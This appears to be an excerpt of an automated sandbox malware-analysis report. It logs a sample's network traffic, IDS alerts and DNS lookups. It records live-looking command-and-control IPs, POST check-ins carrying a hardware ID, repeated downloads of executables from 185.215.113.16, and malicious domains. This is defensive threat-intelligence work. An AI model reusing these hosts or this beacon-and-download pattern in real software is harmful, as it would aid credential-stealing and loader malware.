Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 2d 2d 0d 0a Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="build"doma------JEBFIIIEHCFHJKFHDHDA--
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="build"doma------BAEHIEBGHDAFIEBGIEHJ--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49996 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49774 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50000 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50008 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50017 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50017 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50013 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50047 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:59440 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=12e02704e9094dadc47aca7d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 02:57:10 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control% equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: clearancek.site
Source: global traffic DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic DNS traffic detected: DNS query: studennotediw.store
Source: global traffic DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic DNS traffic detected: DNS query: spirittunek.store
Source: global traffic DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
